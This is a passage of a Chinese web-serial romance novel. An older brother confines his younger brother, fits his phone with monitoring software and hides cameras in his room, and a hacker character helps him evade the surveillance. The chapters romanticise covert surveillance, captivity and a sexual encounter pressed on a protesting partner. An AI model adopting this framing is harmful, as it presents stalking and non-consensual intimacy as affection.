趁着哥哥不在,谢清赶紧翻找秦屿的号码,打算再问一次。 这一翻他发现不对劲,秦屿已经不在通讯录里了。 在“Q”行从头找到尾,谢清才猛地想起,“老公”的备注还没有被改掉,于是又去“L”里找。 还是没有! 这下不用想也知道了,谢呈冰还是翻了他手机!居然还好意思装的没动过,把手机放回地上。 谢清气的又摔了一次手机。 不知道他在浴室的那段时间,那个合伙人有没有给他发来消息或者打过电话,现在只能先寄托于谢呈冰不知道那人的存在,等他什么时候再联络自己。 谢清心累得不行,拿起水杯刚想喝水,又想起了那次在谢呈冰办公室喝下了果汁后,一睡不醒的事。 他忍住了口渴,把自己闷进被子里。 越想越委屈,偷偷哭了一会儿,最后哭累了就睡过去了。 之后谢呈冰不再像以前那样每天跟着他,不让他离开自己视线半米,只不过还是要检查他的手机消息。 谢清把这视为各退一步,勉强让他检查。反正消息他都即时删掉的。 这天用完午餐,他还是不理哥哥自顾自上楼,坐到地毯上给宋岩发消息。 【你知道我哥把我关起来了吗?】 【救救我,只有你能帮我了。】 【岩哥,救我。】 发完删掉以后,谢呈冰的电话就打进来了:“在家里很无聊吗?要不要陪你出去玩。” 谢清只给了他一句“去死”就挂掉了。 他烦闷不已,下意识伸手想抓东西砸,环顾了一圈,发现谢呈冰已经把房间里尖锐的、易碎的物品全都换掉了,连床头那张相片都换了圆相框。 不知道为什么,手机里的联系人都跟死了一样,发消息不回,打电话不接,也不来主动联系他。 记录里只有一串串谢呈冰、谢呈冰。 谢清有些崩溃,抱着膝盖坐了一会儿,忍不住起身跑到窗边,底下都是看守的保镖,窗户也被从外面订了封条。谢呈冰是铁了心要让他和外界断了关系。 手机在这时候响了三声,谢清有些奇怪地回头,怀疑是自己被关太久产生了幻觉,那声音不是系统自带的,自己没有设置过,不知道从什么软件里发出的。 拿起来一看,他更加奇怪了。屏幕自己弹出了没见过的聊天界面,一个灰色默认头像的人不停传来消息。 【敲敲? ??? ?】 【在?】 【听我说,看到这条消息以后不要表现的太惊讶,控制一下表情,假装拿手机玩游戏。你的手机被植入了监听、定位和拦截的软件,消息进不来也出不去,不过这难不倒我(? ??_??)?我现在绕过了对方的监测在和你对话。】 谢清一个字一个字的看了三遍,仍然怀疑这是一场恶作剧。 【这只手机的周围存在一些干扰信号,从频率判断,可能是微缩摄像头,联网实时监控的那种,这说明你周围的环境也处于被监视中???】 谢清手一抖,差点把手机摔掉,他浑身几乎是立刻就起了鸡皮疙瘩,当即就想查看所谓的摄像头在哪。身体刚一转动,想起对方前面说的话,努力平静了下来。 如果这是真的,那,他哥都在他房间里做了什么?! 怪不得肯放他一个人待着了,亏他以为这是各退一步的结果,谢呈冰怎么敢的?! 谢清身体颤抖,尝试在输入框里键入文字。 【你是谁?】 【一个普通的技术宅。不用太崇拜我???】 【我最近在创业,秦屿说你愿意投资我的软件项目,很高兴你欣赏我的才华,我愿意帮你这个小忙,也算为你展示一下我们项目的技术水平,对了,你可以叫我Phantom,我喜欢克里斯汀的歌声,不过我可不是一个充满嫉妒心和占有欲的幽灵(っ?з??????】 ……这是一个话痨。 还挺会阴阳怪气的。 但他的出现的确是及时雨。 谢清难掩激动:【Phantom,你好,你说你可以帮我?怎么帮。】 【帮你屏蔽监控啊,已经在帮了。多余的我也爱莫能助,我只是一个普通技术宅?????但我很守信用,答应秦屿要带你一起就会带你一起,你把钱划进我账上,就算入股了。】 谢清略微有些失望,虽然解不了燃眉之急,不过这个Phantom看起来的确比那些狐朋狗友靠谱很多,最关键的是,这位合伙人有能力绕开谢呈冰的监视与他进行合作。 谢清问:【我只用出钱,不用出力吗?】 【那可不行!我的项目不缺股东,秦屿说了,你除了能投钱,还可以给我提供诸如先进设备、研发环境、上市资质和打开市场的一系列帮助。】 【别告诉我他是骗我的?哦不,我只是一个心怀梦想的毕业生!不可以这么对我!(? ? ?? )】 谢清:“……” 谢清:【他没骗你,这是当然的了。总之你负责实现技术,我负责其余一切,是吧?】 Phantom:【好,你真爽快,我喜欢你这样的合伙人(??ω`?)信任我,投资我,不会让你亏本的。那么我最近就需要一个跑代码的服务器,我看上了Codelite,但个人无法注册使用,需要有跨境业务的企业资质,你想办法帮我弄一个来。】 他的口气好像在说“你帮我随便走私一包□□”那么举重若轻。 谢清深呼吸了一口气告诉自己冷静冷静,他是我唯一的帮手,拉黑就没了,然后才慢慢打字:【好,不过你也知道我现在自身难保,需要一些时间,请你耐心等待。】 Phantom:【那好吧,我也能理解,但是别让我等太久,不然我会考虑寻找其他合伙人。今天就让我再帮你最后一个小忙好了,我给你的手机植入了一个探测器,如果监测到十米范围内有监控摄像头,它就会震动,你可以打开它寻找安全的环境。那么今天就到这,期待你的好消息,CiaoCiao (? ? ? ? )??】 随着最后一条消息被已读,神秘的聊天框也跟着消失了。 谢清翻了一下手机,还真的发现了一个没见过的摄像头icon,大概就是phantom说的探测仪? 他打开这个软件,拿着手机若无其事的在房间里走动起来。 软件刚一启动,震动就已经开始了。谢清走到窗边,震动稍微弱了点,他盯着洗手间的门,心情有点复杂。 犹豫片刻还是走了进去,手机同时又震动起来。 绕进浴室,还在震。 谢清狠狠爆了句粗口。 数分钟后他下了楼,一脸灰败地将身体陷进沙发里。 电视机自带的摄像头此刻都让他感到反胃,他打开遥控器点播了个电影,恐怖片,镜头故弄玄虚的营造着可怕氛围,主角大声尖叫,配乐咯噔的鼓点从谢清左耳朵进,右耳朵出。 看了一会儿他实在坐不住,起身拿胶带把摄像头粘了起来。走近的时候,手机居然又震动了。 所以这个投影用的镜头居然真被改造成监视器了?! 谢清冲着电视机大骂了谢呈冰三百回合。 谢呈冰很快赶回了家,看了看被砸坏的电视机,走过去检查谢清的手:“不是告诉你了,发脾气别这么发,很危险的,有没有弄伤自己?” 谢清通红着眼睛:“我知道当初我为什么要离家出走了,肯定就是受不了你这个样子!” 谢呈冰停顿了一下,攥着他的手不觉用力:“不准提那件事。” “你到底为什么要这样对我,你在害怕什么?怕我威胁你的名声地位,怕我和你争权夺利?怕我被有心人利用对付你,你打算关我一辈子?” 谢呈冰垂着头,要不是胸膛还有起伏,谢清几乎以为他是个死人。 “说话啊?!” 谢呈冰:“只是怕你和别人谈恋爱。” 谢清荒唐的发出嗤笑。 这种理由,骗三岁小孩子去吧。 “那我偏要谈恋爱,你不让我出门,把我关起来,我也能谈恋爱。”谢清走到门外面,随便拽了一个保镖进来。 “就他吧,哥,你帮我参谋参谋,他怎么样?” 保镖一脸猪肝色:“大少爷,我我我绝对没有和小少爷说过一句话!” 谢清反手甩了他一耳光:“跟我说话很丢人?” 保镖下意识摇头,意识到谢呈冰也在,马上别开身体转移视线,如芒在背。 “好,这个不行,我换一个。”他又从外面拽进来一个。一样的场景又上演了一遍。 谢清第三次要去拉人的时候,谢呈冰叫停了他:“够了,你想要什么我们可以谈。” “我就想谈恋爱呀?”谢清说。谢呈冰拿那种理由哄骗他,那他就顺着对方的谎话来好了,看谁先受不了。 “对了,岩哥呢?你把他藏到哪里去了,你叫他过来,我现在就要见他。” 谢呈冰:“他不喜欢你。” “谁说的?我们打赌好了,看他是听你的,还是听我的。” “他听我的。”谢呈冰肯定地说。 谢清也知道宋岩那个死流氓,只有在耍流氓的时候才对他忠贞不二,平时让他干点什么,问就是不能背叛谢家。 但他现在有心气谢呈冰,于是故意拿起手机:“好,我们就来试试看。” 他当着谢呈冰的面给宋岩打去电话。 果然,他哥人在这里,这通电话没有被拦截,响了一声就接通了。 “宝宝,你还好吗?怎么最近都不回我消息。”宋岩一上来就急切地问。 谢清冲他哥挑了下眉,开了免提:“亲爱的,我想你了,想见你,现在来找我好不好。” 宋岩显得有些为难:“大少爷给我交代了任务,暂时不好脱身。宝宝等我两天,我想办法去见你,好吗,小猫乖。” “我不。”谢清加重语气,“我就要现在见,给你一个小时,你不出现,我们就完了。” 手机另一端在沉默,看样子很挣扎。 谢呈冰突然出了声:“谢清,别闹了。” 宋岩一惊:“大少爷……” 谢清猛然瞪向谢呈冰:“谁叫你说话的?这样不公平!” 谢呈冰对着手机:“你挂了吧,不用理他。” 谢清抬高了嗓音,带了哭腔:“宋岩!我是说真的,一个小时见不到你,我这辈子都不理你了!我说到做到!” 电话挂断,谢呈冰说:“他不会来,他不敢。” 谢清狠狠抹了把眼睛,指着挂在墙上的钟:“一个小时,等着看好了。” 这是谢清等过最漫长的一个小时,他心里也知道,宋岩十有八九不会出现,宋岩 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谢清紧接着又说:“哥,你要是开除他正好,我就和他私奔。” 谢呈冰猛然上前一步举起了拳,谢清一下挡在宋岩身前:“你打你打,连我一起打!” 谢呈冰胸口剧烈起伏,看起来气得不轻。谢清从来没有这样惹哥哥生气过,一时心中觉得很悲哀,可谢呈冰这些天带给他的愤怒,他也尝到了,谢清又觉得痛快。 宋岩把谢清拉到身后,低头对谢呈冰再次说了声对不起。 谢呈冰:“这话你去和宋叔叔说吧,看他会不会打断你的腿。” 他深呼吸了几个来回,再度看向谢清:“好,你想谈恋爱也可以,但宋岩不合适,我可以给你安排适合的人选。” 谢清讥讽:“岩哥不就是你选给我的人吗?” 谢呈冰一顿。 宋岩:“抱歉大少爷,我已经坦白过了。” 谢呈冰眼神更冷:“谢清,既然知道,你还肯和他在一起?我以前怎么不知道你是这么没骨气的人。” 宋岩心中一痛:“大少爷,我对谢清是真心的,请你成全。” “什么请他成全,应该说谢谢他成全,你本来就是他精挑细选给我的男朋友呀。” 谢清拉起宋岩的手,见他已经把婚戒摘了,更加满意,对谢呈冰宣布:“今天起我要他和我住一起,你记得把卧室的摄像头拆干净,我可不想□□也被人看。” 谢呈冰:“你说什么?你要和他干什么?” 谢清冷笑:“所以你不否认摄像头是吧,连解释都不解释一下?” 谢呈冰沉默了。 谢清拉着宋岩上楼:“哥哥,你自便吧,别打扰我谈恋爱就行。” “站住。”谢呈冰在他们身后怒视如雷,“宋岩,你是我父亲的心腹,我不想闹得难看,给你十分钟时间和谢清说清楚,从此两不相见。不然我请宋叔叔他老人家出山来管教儿子,你选吧。” 宋岩神情凝滞,谢清权当没听见,更用力地拽着他离开。 进了卧室,宋岩才关心地捧起谢清的脸,果不其然看见他含泪的眼睛。 “到底发生什么事了?今天怎么会这样?” 谢清扑进他怀里:“我还以为你不会过来。” “小猫不是说了吗,我不来,他就一辈子不理我了,我怎么能接受?” 谢清心中一软,抬头看他:“那现在要怎么办。你怕不怕,宋叔叔真的把你逐出家门?” 宋岩摸摸他的头,谢清性子倔强,不肯轻易流露出脆弱,一哭起来,总是格外叫人心疼,他看着这双泪汪汪的眼睛,想自己最初刚接到任务,想尽了借口不愿意做,还找人假结婚,只有一个原因。 他预感到会沦陷。 “如果是那样,你就和我私奔吧。” “岩哥……”谢清闷在他胸口低低笑了起来。 “那还等什么?就现在,你带我离开谢家吧,好不好?”谢清说,“我待不下去了。” 宋岩怔怔望着墙壁,良久,笑了笑:“早知道你回来会是这种结果,我就……” 他叹气:“其实你如果没出车祸,我就已经有冲动离开谢家,带你走。后来你失忆了,我以为天意叫我不该有背叛之心,不该觊觎你,可现在,是你自己说的?” 谢清横了他一眼:“不该觊觎,也觊觎好多回了。” 他抹掉眼泪,扣弄着睡衣带子,认真说:“你想好,要是走了,就没有回头路了。坦白讲,我今天只是在利用你。” “我知道。”宋岩低头在他额上落下一吻,“但我对你是真心的。” 谢清静默了一瞬。 “你不要后悔就行。” “抓紧时间吧,我背你跳窗,你把衣服换一下。” 谢清低头看了看自己的睡衣:“不用了,能出门的衣服都被谢呈冰扔了,就这样吧。”他开始在卧室里翻找利器,打算先把窗户外的木条撬了,但好用的东西早就被谢呈冰收起来了。 宋岩从后腰摸出一把瑞士折叠刀,他经验老到,一点大动静也没搞出来。 谢清忽然说:“等等,我得把证件带上,万一要出国,总不能还回来偷。” 他甚至连出国都想到了,可见是下定决心要跑。 那些东西放在谢呈冰的书房,还上了密码锁。谢清尝试输入了自己的生日,锁开了。 他拿出来随便检查了一下,却发现户口簿没有自己的那页,怎么翻都没有。 怎么会这样?! 宋岩已经过来催促他,在这个突兀的时刻谢清脑袋一晕,不期然找回了一段被车祸尘封的记忆。 那是他站在这个密码柜前质问谢呈冰:“哥,你要把我送给别人家当儿子?你认真的?” 谢呈冰的脸藏在阴影中,看不清表情。 “为什么?就因为谢氏的遗产不想让我分走一分钱?”他痛指着对方,声嘶力竭,“你和我做不了亲兄弟,现在连名义上的兄弟也不当了?!” 等了很久,终于等来了谢呈冰的回答,他说—— “对。我从来,不想把你当弟弟。” 谢清两眼一黑,宋岩慌忙过来掐他的人中:“宝宝,怎么了?坚持一下,我们现在就走!” 谢清终于想起了自己一年前逃离谢家的真正理由。 第 51 章【VIP】 第51章 第 51 章 宋岩站在门口, 黑眸沉静如夜,麦色的肌肤在走廊昏暗的灯光下显得黝黑。 他额角那道醒目的疤痕随着脸部的紧绷而更加狰狞。 但当他一看到谢清,原本严肃的表情顿时软化下来, 嘴角微微上扬,眼中透出了一丝急切与压抑已久的情感。 谢清当场愣住, 心脏猛地一跳,几乎以为自己在做梦:“岩哥?你怎么会在这儿?……是、是我哥……?” 宋群奉了爷爷的命令要把他丢去他哥找不到的地方, 宋岩虽然也是宋家人, 可谢清知道他不会那么做。 所以他找到了自己, 背后的人应该不是宋群,而是…… 宋岩没有回答, 只是一步迈进房间,动作果断而有力, 随手关上了门。 他走到谢清面前,伸出一只粗糙的大手,将谢清紧紧搂入了怀中。 “对不起, 都是我不好, 没有保护好你!这些日子以来,很辛苦吧?秦霄有没有把你怎么样?” 谢清在密不透风的怀抱里好不容易才找到呼吸出口,默然摇摇头。 宋岩捧起他的双颊,像注视着一件珍宝一样仔细看了又看, 强烈的思念和后怕在这一瞬间彻底爆发, 他低下头, 直接封住了谢清的唇。 谢清怔住片刻, 随即挣扎了一下, 但却被宋岩那熟悉而又不讲理的气息所笼罩,内心的委屈也在这一刻倾泻。 他闭上眼, 任由宋岩炽热的吻掠夺着自己,双手无意识地攀上对方宽厚的肩膀。 这个吻充满了压抑和渴望,谢清失去的记忆本就找回了大半,此刻时光仿佛回溯到从前秘密相处的日子。 几分钟后,宋岩终于稍稍放开了谢清,他的额头抵着谢清的,气息略显急促:“你哥也来了。你想和他回去吗?” 谢清听到“你哥”这个词,身体猛地一僵,原本还沉静在重逢和回忆里的情感瞬间冷却下来。 他迅速推开了宋岩,呼吸有些不稳:“我不回去!你应该猜得到发生了什么吧?你走吧,告诉他没有找到我。” 宋岩眼神中闪过一丝痛苦和挣扎,伸手想再度触碰谢清,却被谢清坚决阻止。 他当然猜得到,他父亲接到了怎样的命令。 而谢呈冰对此恐怕并不知情。 无论是老太爷还是大少爷现在都要接谢清回家,一边是他效忠的家族,一边是谢清…… 宋岩咬了咬牙,声音低哑:“我知道你不愿回去,但这不是你能躲一辈子的事。你知道大少爷不会接受你消失,除非你真的下定决心,这辈子再也不见他,那么我……” “那么你如何?” ——冷冽的声音是从门外来的。 房间门忽然被猛力推开,随着一袭冷风涌入的,是一个冷峻颀长的人影——谢呈冰。 谢呈冰一身黑色风衣,站在门口,冰冷的目光扫过房间里的两人,眼底尽是寒意。 他冷冷开口,语气带着威严:“宋岩,我猜到你不死心,没想到,这么不死心。” 宋岩猛然转身,挡在谢清面前,没有丝毫畏惧地迎上谢呈冰的视线:“抱歉,大少爷。但……如果他不肯,我今天不会让你带走他。” 谢清心脏狂跳,站在宋岩身后,紧张得几乎无法呼吸。 只是看了一眼谢呈冰,他就已经委屈的想哭出来。 谢呈冰的视线越过宋岩,定定看着谢清,尽管神色严肃,可冰冷的眼眸深处,关切无所遁形。他伸出了手:“过来,我带你回家。” 谢清低下了头:“冷静了这么久,你还没想通吗?” “想通了。”谢呈冰说着上前一步,“我不该等,应该直接和你结婚的。” 谢清无奈:“怎么扯上结婚了。” “结婚才能拴住你。”谢呈冰忽略宋岩去拉谢清的手,“我们现在就去领证。” “大少爷,别开这种玩笑。”宋岩骨子里的忠诚意识使他没能出手阻拦,但仍然用身体隔开了两个人。 谢清也说:“你别闹了!领了国内也不承认。爷爷更不会承认。” “那就瞒着爷爷好了。” 宋岩再次用身体格挡了谢呈冰上前的动作:“大少爷,尊重你弟弟的选择吧。” 谢呈冰眼神变得锐利如刀,刮了宋岩一眼:“谢清,你回答他,要不要和我走。” 他这么问,心里却早就做好准备,无论谢清选什么今天都一定会把他带走。 谢清:“我不回去。” 宋岩立刻揽住谢清,打算带他离开,谢清却抱歉地拍了拍他的胳膊:“岩哥,让我单独和哥哥讲几句话。” 宋岩一滞,而谢呈冰眼神轻微闪烁,神情柔和了几分。 宋岩握了握拳:“……有事喊我。”然后绷着脸大步走了出去。 两人中间再也没有了阻挡,可谢呈冰却垂眸看着谢清的手,忍住没拉起来。 他明明做好当个恶人的准备,但现在又不想听谢清说那些预料中的话。 宁可让自己看上去心硬如铁。 谢清:“……爷爷,还好吗?” 谢呈冰点头。 “那就好。” 谢清要求单独说话,可说了这么一句,似乎就没有其他的了。房间的空气陷入长久沉默。 谢清:“秦氏的麻烦,是你做的?” 谢呈冰没吭声。 “收手吧。我人没怎么样。”他不想谢呈冰因为这事胡闹,说来还多亏秦霄把他从宋群手中救走,虽然后来限制了他的自由,不过现在那家伙显然是想通了。 谢清没法和谢呈冰说,自己逃到国外是爷爷的缘故。 “这么久没见,你就只和我说这个?”谢呈冰还是忍不住攥住了谢清的手腕,“单独说话,就为了别的男人?” “就当是吧。”谢清说,“我要是不同意结婚,你就要继续强迫我,把我绑起来,锁进家里面吗?” 谢呈冰抿了下唇:“你答应我就不会了。” “我不答应!”谢清气笑了,“你知道我最讨厌你哪儿吗?就是你这独断专行的劲儿,你……” “不许讨厌我。”谢呈冰拉着他往门外走,“走,我们去领证。” 谢清被拽着走了两步就大喊:“岩哥,岩哥!” 宋岩为难地拦在门口:“大少爷,别这样。” “让开。”谢呈冰冷冷道。 宋岩不再说话,用力搂住了谢清,要把人从谢呈冰手里夺走。谢呈冰忽然攥紧了拳头挥向了自家保镖。 “啊……!”谢清吓到了。 他从来没见过谢呈冰打人,哥哥的怒火很少显化,总是闷不吭声,可这一拳是如此狠绝,他才知道以前谢呈冰镇压自己的那些反抗都是留了余地的。 宋岩其实躲的掉,但却没有避开,生生挨了这一下。 谢呈冰:“还手。” 宋岩还是沉默,谢清明白,他现在挨打是觉得亏欠家主的恩情,哥哥再打下去,宋岩真还手,局面就一发不可收拾了。 谢清横在二人之间:“住手!” 宋岩:“小少爷,你让开。” 谢呈冰也说:“谢清,让开。” 谢清先检查了一下宋岩的伤口,然后回头瞪着他哥:“你要打打我好了。”可甫一转身,却瞠目结舌说不出话来。 谢呈冰眼眶通红,表情异常悲伤。 他从没见过他哥用这种伤心的表情看他,就算是找回的记忆里,第一次决裂也是。 那时的谢呈冰骨子里没有让步两个字,强迫也好,用诡计也罢,都要把谢清留住。 但现在,他知道这些原来也没有用处,谢清还是会一次次、一遍遍离开。 谢呈冰问:“你真的不爱我?” 他以前问不出这种话,谢清是爱他的,只不过是对于兄长,所以没关系,他想办法让对方扭转想法就好。 谢清嘴唇抖了抖:“谢呈冰……” 谢呈冰声音低哑:“我可以……不强迫你回家。也可以再给你几天考虑结婚的事,别丢下我,好吗。” 谢清浑身一震。 过了好一会儿,他低声反驳:“……谁要丢下你了,说得像我对不起你一样,明明是反过来。” 谢呈冰缓步上前,见这一次谢清没有排斥,便轻轻抬手环抱住了他。 谢清能闻到他身上带着熟悉的气味,没来由有点难过。 哥哥怎么就不能是亲哥呢? ……即便如此,对哥哥撒娇好像也已经是刻进肌肉里的记忆,谢清把头轻轻枕在谢呈冰肩上,声音有点哽咽:“那这次让我考虑几天,是指几天呢?一天吗?” 谢呈冰沉默了一下:“……考虑到你想清楚为止。” 谢清有些不敢相信,谢呈冰真的妥协了吗?他哥哥向来是一诺千金的人,这次不会反悔吧? “不会再用极端手段限制我,不会再玩文字游戏?” 谢呈冰:“嗯。” 因为那样的手段,终究留不住。 谢清吸了吸鼻子,说不上是什么心情。总之谢呈冰能妥协实在太好了。 他推开了谢呈冰:“先离开这里吧。” 他可不想让秦屿秦霄撞上他哥,只想图一个清静。 宋岩在一边露出有些苦涩的神情,不必背主,不知为何却开心不起来。 他明白,谢呈冰在谢清心目中的地位无可撼动,他从起点就输了。 可是不甘心。 他拽住了谢清的胳膊,当着谢呈冰的面说:“宝宝,不管你现在的选择是什么,未来又如何改变主意,要记得,我一直在。一回头就在。” “……” 怎么突然好像,不知不觉就欠了一屁股情债呢。 谢清回避了一下他的目光:“岩哥,谢谢你。” 谢呈冰带谢清离开酒店,上了车,打电话取消了回国的航班,订了新的住处。 谢清屁股还没坐热,秦屿的电话突然打进来。 他正打算告诉对方自己离开的事,让他们别再追来。刚接上,谢呈冰就蓦然钳住他的下巴吻上来。 “唔……”谢清都要怀疑秦屿的电话有毒,一接就要被动手动脚。 秦屿上来听到这个动静也愣了:“宝宝你怎么了?出什么事了?!” “没、没什么,车里有些闷。”谢清捶了谢呈冰一下,“狗怎么样?” “没事了!先前是姓连的那个变态偷袭威胁我,我的人到了,他现在占不到便宜,宝宝,他还不知道你住在哪儿,你不要出门,等我回来。” “不必了,我……我自己有别的事先走了,你和你哥都别再来找我。” “什么?!”秦屿不可置信,“宝宝,别乱跑,你一个人很危险的……不对,你身边有人,是谁?” 谢呈冰又吻上来,谢清匆忙挂掉了电话。 “你干嘛呀!刚才还说给我时间考虑呢,现在要反……唔唔!” 谢呈冰退了出来,用牙齿轻咬了一下谢清的唇肉:“给你时间考虑结婚,不妨碍先谈恋爱。” “谈恋爱”三个字从谢呈冰嘴里说出来,总感觉哪里怪怪的。 “谁要和你……”眼见谢呈冰紧绷着一张棺材脸,谢清改口,“就算要谈恋爱也是要循序渐进的,懂吗?” 见谢呈冰没反应,谢清就去拉车门:“你再这样我下车了。”车子还在开动中,谢呈冰皱眉把他拽回来:“好了,我知道了。” 谢清“哼”了一声,扭头看着窗外的一排排棕榈树。 司机因为刚才的变故放缓车速,差点踩刹车,这会儿车子再重新加速,还在恢复速度,迎面的一个街角蓦然杀出数辆车,半道截停,横在他们前面。 司机再度急刹,车上四个人一起皱了眉头,宋岩拉开副驾门:“我去看看。” “等一下。”谢清叫住了他。 截停的车辆中,有一辆车门拉开,连忆心从中走下来:“谢呈冰……又是你!阿清,你还好吗?是不是他挟持你?我来救你了。” 谢呈冰眯了眯眼睛:“阴魂不散。” 谢清本来极力避免哥哥和秦家人冲突,不成想和连忆心照面。他按住谢呈冰:“你可别冲动啊,让我下去和他说。” 谢呈冰已经拉开车门下去了,谢清预判到他想把自己锁在里面,迅速拽着他的衣角也跟下车。 谢呈冰皱眉:“回去。” 谢清:“我怕你们不冷静,这是在国外,你们不要起冲突……” 连忆心打量了一下两人,眼底闪过一丝恨意:“阿清,那天他义正词严把你从我身边带走,结果怎么样?你别被他的花言巧语又糊弄过去,那不是你哥哥。过来,我帮助你,我说过会在这里保护你的,不管对手是连隐,还是他谢呈冰。” 谢清冷冷道:“什么结果怎么样?你是不是误会了,我不过是出来国外散散心,他也没有要把我怎么样,你现在这么大阵仗是干什么?骗人不管用,决定来硬的了?” 连忆心急了:“阿清,我知道错了,我以后再也不骗你了。我也是第一次恋爱,没有经验,你再给我一次机会好不好?” “不好。”这是谢呈冰说的。 连忆心剜他一眼。 谢清:“我们俩性格不合,给再多机会也没用。你放弃离开吧。” “谁说的?我哪里让你不喜欢,我都可以改的。” 谢清:“那你先让那些车让开。” “好,我让。我没有要强迫你的意思,”连忆心说着还充满阴阳意味地瞟谢呈冰一眼,“我只是怕你有什么事才堵他。” 连忆心转头去指挥三辆车退开,谢呈冰拉起谢清便问:“你想要什么样的婚礼?我看这边海滩风景很好,不如就选在这里。” 连忆心身体一僵,猛然回头:“你们要结婚?” 谢清甩了下谢呈冰的手,没甩掉,横了他一眼。 不过为了让连忆心早点死心,他也没拆穿。 谢呈冰自顾自说下去:“那就这里吧。就明天,不需要邀请什么朋友,我请好了神父为我们主婚。” 连忆心难以置信,眼眸中尽是破碎的意味:“阿清……” 谢清不想站在大马路上和两个随时要拼命的危险人物掰扯,只想赶紧糊弄过去:“冷死了,先回酒店再说。” 连忆心不死心:“就算我说我会改,你还是要和谢呈冰结婚?” 谢呈冰让司机去另一边,自己坐上驾驶座。一脚油门,车擦着连忆心冲了出去,将他撞得一个踉跄。 谢清透过后视镜看到连忆心追车跑了几百米,绊倒在马路上,身影逐渐被甩下,成了一颗芝麻大的黑点,车子转过街角,黑点消失不见。 【END】 第52章 第 52 章 夜色微凉, 谢请被谢呈冰牵着并肩走在新酒店的走廊。酒店灯光昏暗,照在两人身上,拖出两条长长的影子。 谢呈冰一如既往的沉默, 但谢清光是看着他的影子,都能感觉出他周围那种微妙的气息。 尽管甩掉连忆心后的一路上, 他都没有再出现情绪波动,但略显生硬的步伐还是暴露了他的些许不满。 谢呈冰打开房间的门, 动作流畅自然, 声音也好似漫不经心响了起来:“这段时间, 你和他们混得很不错?已经冰释前嫌,既往不咎了?” 谢清顿了一下, 小声说:“是又怎样。” 谢呈冰回头看他,谢清怂了, 改口:“只是他们单方面缠着我罢了,我只给了你机会,你还有什么不知足。” 谢呈冰叹了口气, 进屋除下外套, 低头回了几条工作信息,静音了手机放在一边。 “衣服脱掉,我检查一下。” 谢清像只炸毛小猫:“又来,亏我以为你已经不变态了, 你是我什么人啊就检查!” “未婚夫。”谢呈冰说, “以后就是丈夫。” “你也有这么耍无赖的时候?!”谢清鼓着嘴巴。先说给点时间考虑, 然后默认是在谈恋爱, 没否认恋爱, 就又默认会结婚,还真是自洽的好逻辑呢! 他拔腿就要往套房里走, 被谢呈冰拦腰抱住,在他怀里张牙舞爪了半天,最后被按在了床上。 “不是耍赖,我会遵守我的承诺。只是……不代表我会喜欢你和别人那么亲近。” 谢呈冰俯身,深邃的眼眸中藏着汹涌压抑的情绪,但动作缓慢自然,带着试探触碰谢清的侧腰, 谢清立即抓住了他的手:“别……你手机亮了,快去接。” “不用管。”谢呈冰强行撩起了他的衣角,微凉的指尖触碰到腰部敏感的软肉,刺激的谢清一哼。 谢呈冰还要继续,房门却被敲了敲,宋岩低沉的声音响在门外,打破了一丝旖旎。 “大少爷,老太爷的电话,找您。” 谢呈冰动作停顿了一下,谢清身体也变得有些僵硬。 “……去接吧,别让爷爷等太久。”他推了推腰上的手臂。 谢呈冰站直身体,手不由自主从谢清的身上离开,抿了抿唇,像是要说些什么,但最终只是垂下眼帘,藏起来眼底的疲惫。 “嗯。” 谢呈冰拾起手机去了走廊,也许是不想谢清听见,走得很远。 宋岩进来了,在谢清有些乱的衣衫上停留了一瞬。 谢清连忙整理了一下坐起来:“家里现在是什么情况?” 宋岩沉默片刻,说:“大少爷为了找你,把许多重要事务推到了一边,老太爷非常不满意。” 谢清的心微微一颤。 “爷爷的态度很强硬吧?” 宋岩轻轻点头,走近了,摸了摸谢清的头发,像是安慰。 “大少爷还并不知道老太爷下令让你走的事……他为了老太爷的身体,也没有提和你的事,原本相安无事,不过为着放下公务出国找你,两人一直默认不提的事被搬上来,老太爷逼得很紧,苗头不太好。” 谢清没再出声,抬头看向窗外,天际的云层缓缓飘动,玻璃窗映射出他迷茫的脸庞。 过了会儿谢呈冰回来了,推门而入时,看到宋岩站在谢清身边,眼神瞬间冷了下来。 谢清注意到他靠近,语气有些不自然:“电话打完了?” 谢呈冰没有立即回答,而是直接伸手轻轻拂过谢清的脸庞,指尖带着漫不经心的力度,顺着他的脖颈滑落到肩线。 再简单不过的触碰,可却透着一股不容拒绝的霸道,和刻意的亲密,仿佛在宣示着什么。谢清心跳莫名变了速度,不自觉后退了半步,但却被牢牢抓住了手腕。 谢呈冰的掌心温度不知何时变得滚烫,覆在他纤细的手腕上,微微用力,带着一种侵略性。 “不用在意电话,继续刚才的事情吧。”谢呈冰语气平静,手指摩挲着谢清的肌肤,旁若无人的越靠越近,身体几乎贴在了一起。 宋岩眉头紧皱,看着谢呈冰的动作,眼中闪过一抹复杂的情绪。他的唇紧抿成一条线,没有出声,但微微绷紧的身体透露出隐忍。 谢清一时分辨不清他是不是真的要“检查”,要怎么检查,紧张之下咬了咬唇,试图将手从谢呈冰的掌心中抽回,但谢呈冰的力道更大了些,带着他重新朝床边靠近。 “哥,别这样……”谢清憋红了脸。 谢呈冰不理会他的抗拒,手指轻轻抬起他的下巴,带着某种不易察觉的温柔,几乎就要亲上来。 谢清快速瞟了宋岩一眼,脸上略过一丝不自在的尴尬:“岩哥,你先出去吧。” 宋岩沉默了几秒,眼神复杂。有一瞬间,他似乎想要说些什么,眼底泄露出一丝挣扎。然而看到谢清恳求的表情后,还是低头沙哑地应了一声,步伐沉重地走向门外。 随着房门轻轻关上,房间里的气氛顿时变得更加暧昧紧张。谢呈冰的动作变得肆无忌惮,手指顺着谢清的锁骨一路滑下,呼吸在耳畔起伏。 他太了解谢清身体的敏感之处了,甚至比谢清自己还了解,三两下就点着了空气。 谢清的心跳不由自主加快,身体记忆帮他回忆起了在家、在车上、在办公室……那些荒唐的回忆。 他微微后退,但被谢呈冰按在床上挣脱不开。 “你躲什么?”谢呈冰声音低沉而蛊惑,轻舔了一下谢清的耳垂,带来一阵轻微的战栗。 谢清呼吸急促了许多,别过头,尽量平复心绪:“你答应过我,不会逼我。” “我没逼你,”谢呈冰的手指勾住谢清的下巴,强迫他与自己对视,“你也喜欢我的,对吗?身体的反应骗不了人。” 谢清想说照他这么弄,对谁都会有反应。但也知道这么说吃苦的只能是他自己,因此咬了咬唇肉,咽下了委屈。 碍事的被褥被撩到一边,谢清徒劳挣扎两下,抓在谢呈冰耸起的后背肌肉上,留下两道红痕。 后面的话都被咬碎在唇齿间。 谢清怕谢呈冰没完没了,第一次过后就装睡过去,谢呈冰果然忍住没有继续,抱他去浴池清洗了一遍,叫来酒店保洁更换了床单。 之后谢呈冰接了个电话就出门了。 